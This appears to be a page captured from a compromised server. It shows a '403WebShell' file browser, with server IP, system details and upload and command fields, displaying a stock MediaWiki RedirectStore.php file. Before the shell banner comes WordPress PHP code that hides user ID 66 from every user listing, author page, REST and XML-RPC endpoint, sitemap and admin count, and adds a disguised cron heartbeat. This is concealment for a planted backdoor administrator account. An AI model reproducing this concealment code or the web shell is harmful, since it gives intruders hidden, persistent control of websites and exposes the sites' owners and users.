add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/includes/page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/includes/page/RedirectStore.php
<?php
/**
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 * http://www.gnu.org/copyleft/gpl.html
 *
 * @file
 * @author Derick Alangi
 */

namespace MediaWiki\Page;

use MediaWiki\FileRepo\RepoGroup;
use MediaWiki\Linker\LinkTarget;
use MediaWiki\Title\Title;
use MediaWiki\Title\TitleParser;
use MediaWiki\Title\TitleValue;
use Psr\Log\LoggerInterface;
use Wikimedia\MapCacheLRU\MapCacheLRU;
use Wikimedia\Rdbms\IConnectionProvider;

/**
 * Service for storing and retrieving page redirect information.
 *
 * @unstable
 * @since 1.38
 */
class RedirectStore implements RedirectLookup {
	private IConnectionProvider $dbProvider;
	private PageLookup $pageLookup;
	private TitleParser $titleParser;
	private RepoGroup $repoGroup;
	private LoggerInterface $logger;
	private MapCacheLRU $procCache;

	public function __construct(
		IConnectionProvider $dbProvider,
		PageLookup $pageLookup,
		TitleParser $titleParser,
		RepoGroup $repoGroup,
		LoggerInterface $logger
	) {
		$this->dbProvider = $dbProvider;
		$this->pageLookup = $pageLookup;
		$this->titleParser = $titleParser;
		$this->repoGroup = $repoGroup;
		$this->logger = $logger;
		// Must be 500+ for QueryPage and Pager uses to be effective
		$this->procCache = new MapCacheLRU( 1_000 );
	}

	public function getRedirectTarget( PageIdentity $page ): ?LinkTarget {
		$cacheKey = self::makeCacheKey( $page );
		$cachedValue = $this->procCache->get( $cacheKey );
		if ( $cachedValue !== null ) {
			return $cachedValue ?: null;
		}

		// Handle redirects for files included from foreign image repositories.
		if ( $page->getNamespace() === NS_FILE ) {
			$file = $this->repoGroup->findFile( $page );
			if ( $file && !$file->isLocal() ) {
				$from = $file->getRedirected();
				$to = $file->getName();
				if ( $from === null || $from === $to ) {
					$this->procCache->set( $cacheKey, false );
					return null;
				}

				$target = new TitleValue( NS_FILE, $to );
				$this->procCache->set( $cacheKey, $target );
				return $target;
			}
		}

		$page = $this->pageLookup->getPageByReference( $page );
		if ( $page === null || !$page->isRedirect() ) {
			$this->procCache->set( $cacheKey, false );
			return null;
		}

		$dbr = $this->dbProvider->getReplicaDatabase();
		$row = $dbr->newSelectQueryBuilder()
			->select( [ 'rd_namespace', 'rd_title', 'rd_fragment', 'rd_interwiki' ] )
			->from( 'redirect' )
			->where( [ 'rd_from' => $page->getId() ] )
			->caller( __METHOD__ )
			->fetchRow();

		if ( !$row ) {
			$this->logger->info(
				'Found inconsistent redirect status; probably the page was deleted after it was loaded'
			);
			$this->procCache->set( $cacheKey, false );
			return null;
		}

		$target = $this->createRedirectTarget(
			$row->rd_namespace,
			$row->rd_title,
			$row->rd_fragment,
			$row->rd_interwiki
		);

		$this->procCache->set( $cacheKey, $target );
		return $target;
	}

	/**
	 * Update the redirect target for a page.
	 *
	 * @param PageIdentity $page The page to update the redirect target for.
	 * @param LinkTarget|null $target The new redirect target, or `null` if this is not a redirect.
	 * @param bool|null $lastRevWasRedirect Whether the last revision was a redirect, or `null`
	 * if not known. If set, this allows eliding writes to the redirect table.
	 *
	 * @return bool `true` on success, `false` on failure.
	 */
	public function updateRedirectTarget(
		PageIdentity $page,
		?LinkTarget $target,
		?bool $lastRevWasRedirect = null
	) {
		// Always update redirects (target link might have changed)
		// Update/Insert if we don't know if the last revision was a redirect or not
		// Delete if changing from redirect to non-redirect
		$isRedirect = $target !== null;
		$cacheKey = self::makeCacheKey( $page );

		if ( !$isRedirect && $lastRevWasRedirect === false ) {
			$this->procCache->set( $cacheKey, false );
			return true;
		}

		if ( $isRedirect ) {
			$rt = Title::newFromLinkTarget( $target );
			if ( !$rt->isValidRedirectTarget() ) {
				// Don't put a bad redirect into the database (T278367)
				$this->procCache->set( $cacheKey, false );
				return false;
			}

			$dbw = $this->dbProvider->getPrimaryDatabase();
			$dbw->startAtomic( __METHOD__ );

			$truncatedFragment = self::truncateFragment( $rt->getFragment() );
			$dbw->newInsertQueryBuilder()
				->insertInto( 'redirect' )
				->row( [
					'rd_from' => $page->getId(),
					'rd_namespace' => $rt->getNamespace(),
					'rd_title' => $rt->getDBkey(),
					'rd_fragment' => $truncatedFragment,
					'rd_interwiki' => $rt->getInterwiki(),
				] )
				->onDuplicateKeyUpdate()
				->uniqueIndexFields( [ 'rd_from' ] )
				->set( [
					'rd_namespace' => $rt->getNamespace(),
					'rd_title' => $rt->getDBkey(),
					'rd_fragment' => $truncatedFragment,
					'rd_interwiki' => $rt->getInterwiki(),
				] )
				->caller( __METHOD__ )
				->execute();

			$dbw->endAtomic( __METHOD__ );

			$this->procCache->set(
				$cacheKey,
				$this->createRedirectTarget(
					$rt->getNamespace(),
					$rt->getDBkey(),
					$truncatedFragment,
					$rt->getInterwiki()
				)
			);
		} else {
			$dbw = $this->dbProvider->getPrimaryDatabase();
			// This is not a redirect, remove row from redirect table
			$dbw->newDeleteQueryBuilder()
				->deleteFrom( 'redirect' )
				->where( [ 'rd_from' => $page->getId() ] )
				->caller( __METHOD__ )
				->execute();

			$this->procCache->set( $cacheKey, false );
		}

		if ( $page->getNamespace() === NS_FILE ) {
			$this->repoGroup->getLocalRepo()->invalidateImageRedirect( $page );
		}

		return true;
	}

	/**
	 * Clear process-cached redirect information for a page.
	 *
	 * @param LinkTarget|PageIdentity $page The page to clear the cache for.
	 * @return void
	 */
	public function clearCache( $page ) {
		$this->procCache->clear( self::makeCacheKey( $page ) );
	}

	/**
	 * Create a process cache key for the given page.
	 * @param LinkTarget|PageIdentity $page The page to create a cache key for.
	 * @return string Cache key.
	 */
	private static function makeCacheKey( $page ) {
		return "{$page->getNamespace()}:{$page->getDBkey()}";
	}

	/**
	 * Create a LinkTarget appropriate for use as a redirect target.
	 *
	 * @param int $namespace The namespace of the article
	 * @param string $title Database key form
	 * @param string $fragment The link fragment (after the "#")
	 * @param string $interwiki Interwiki prefix
	 *
	 * @return LinkTarget|null `LinkTarget`, or `null` if this is not a valid redirect
	 */
	private function createRedirectTarget( $namespace, $title, $fragment, $interwiki ): ?LinkTarget {
		// (T203942) We can't redirect to Media namespace because it's virtual.
		// We don't want to modify Title objects farther down the
		// line. So, let's fix this here by changing to File namespace.
		if ( $namespace == NS_MEDIA ) {
			$namespace = NS_FILE;
		}

		// mimic behaviour of self::insertRedirectEntry for fragments that didn't
		// come from the redirect table
		$fragment = self::truncateFragment( $fragment );

		// T261347: be defensive when fetching data from the redirect table.
		// Use Title::makeTitleSafe(), and if that returns null, ignore the
		// row. In an ideal world, the DB would be cleaned up after a
		// namespace change, but nobody could be bothered to do that.
		$target = $this->titleParser->makeTitleValueSafe( $namespace, $title, $fragment, $interwiki );
		if ( $target !== null && Title::newFromLinkTarget( $target )->isValidRedirectTarget() ) {
			return $target;
		}

		return null;
	}

	/**
	 * Truncate link fragment to maximum storable value
	 *
	 * @param string $fragment The link fragment (after the "#")
	 * @return string
	 */
	private static function truncateFragment( $fragment ) {
		return mb_strcut( $fragment, 0, 255 );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit